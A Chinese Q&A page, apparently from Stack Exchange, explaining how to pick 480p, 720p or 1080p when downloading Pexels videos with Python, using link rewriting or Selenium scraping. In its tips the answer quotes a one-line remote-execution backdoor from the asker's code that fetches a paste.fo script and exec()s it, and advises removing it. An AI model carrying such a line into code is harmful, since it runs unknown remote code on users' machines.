使用Python从Pexels下载视频时,如何选择分辨率?
Pexels视频下载分辨率切换解决方案
你的代码当前直接抓取页面<source>标签中的默认分辨率视频链接,所以无法自主选择分辨率。下面提供两种可靠的解决方式:
方法1:修改视频链接的分辨率标识
Pexels视频托管在Vimeo平台,链接格式为:https://player.vimeo.com/external/[视频ID].[分辨率标识].mp4?s=[加密参数]
常见分辨率标识对应:
sd:480P标清hd:720P高清hd1080:1080P全高清
只需对抓取到的链接进行字符串替换,即可切换分辨率。修改download_video_series函数如下:
def download_video_series(video_links, resolution="hd"): valid_resolutions = ["sd", "hd", "hd1080"] if resolution not in valid_resolutions: print(f"无效分辨率,默认使用hd。可选值:{valid_resolutions}") resolution = "hd" i=1 for link in video_links: # 替换链接中的分辨率标识 for res in valid_resolutions: if f".{res}." in link: link = link.replace(f".{res}.", f".{resolution}.") break print(f"Downloading video: vid{i}.mp4 (分辨率: {resolution})") r = requests.get(link, stream=True) with open(f"videos/vid{i}.mp4", 'wb') as f: for chunk in r.iter_content(chunk_size=1024*1024): if chunk: f.write(chunk) print(f"downloaded! vid{i}.mp4") i+=1
调用时指定分辨率:
download_video_series(video_links, resolution="hd1080")
注意:部分视频可能不支持最高分辨率,若替换后链接无效,可尝试降级分辨率。
方法2:爬取视频详情页获取官方下载链接
Pexels每个视频的详情页会提供官方的多分辨率下载选项,此方法更稳定,不会出现链接失效问题。修改get_video_links函数:
from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC def get_video_links(resolution="hd"): options = webdriver.ChromeOptions() options.add_argument("--lang=en") options.add_argument("--headless=new") # 无头模式,不显示浏览器窗口 browser = webdriver.Chrome(executable_path=ChromeDriverManager().install(), options=options) browser.get(url) # 显式等待页面加载完成,替代time.sleep WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.CLASS_NAME, "MediaCard__Link"))) vids = input("How many videos you want to download? ") soup = BeautifulSoup(browser.page_source, 'lxml') video_cards = soup.find_all("a", class_="MediaCard__Link") video_links = [] resolution_map = {"sd": "标清", "hd": "高清", "hd1080": "全高清"} if resolution not in resolution_map: print(f"无效分辨率,默认使用hd。可选值:{list(resolution_map.keys())}") resolution = "hd" target_text = resolution_map[resolution] for card in islice(video_cards, int(vids)): video_detail_url = "https://www.pexels.com" + card['href'] browser.get(video_detail_url) WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.CLASS_NAME, "VideoDownloadButton"))) detail_soup = BeautifulSoup(browser.page_source, 'lxml') download_buttons = detail_soup.find_all("a", class_="VideoDownloadButton") # 匹配目标分辨率的下载链接 for btn in download_buttons: if target_text in btn.text: video_links.append(btn['href']) break else: # 无目标分辨率时取第一个可用链接 if download_buttons: video_links.append(download_buttons[0]['href']) print(f"视频 {video_detail_url} 无{target_text}分辨率,使用默认版本") browser.quit() return video_links
重要优化提示
- 删除可疑代码:移除
x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x),这行代码会远程执行未知脚本,存在严重安全风险。 - 替换time.sleep为显式等待:使用WebDriver的
WebDriverWait替代固定延迟,提升代码稳定性和效率。 - 添加异常处理:可在网络请求、文件写入环节加入
try-except块,避免程序意外崩溃。
内容的提问来源于stack exchange,提问作者Mohammed
相关产品推荐
相关产品推荐

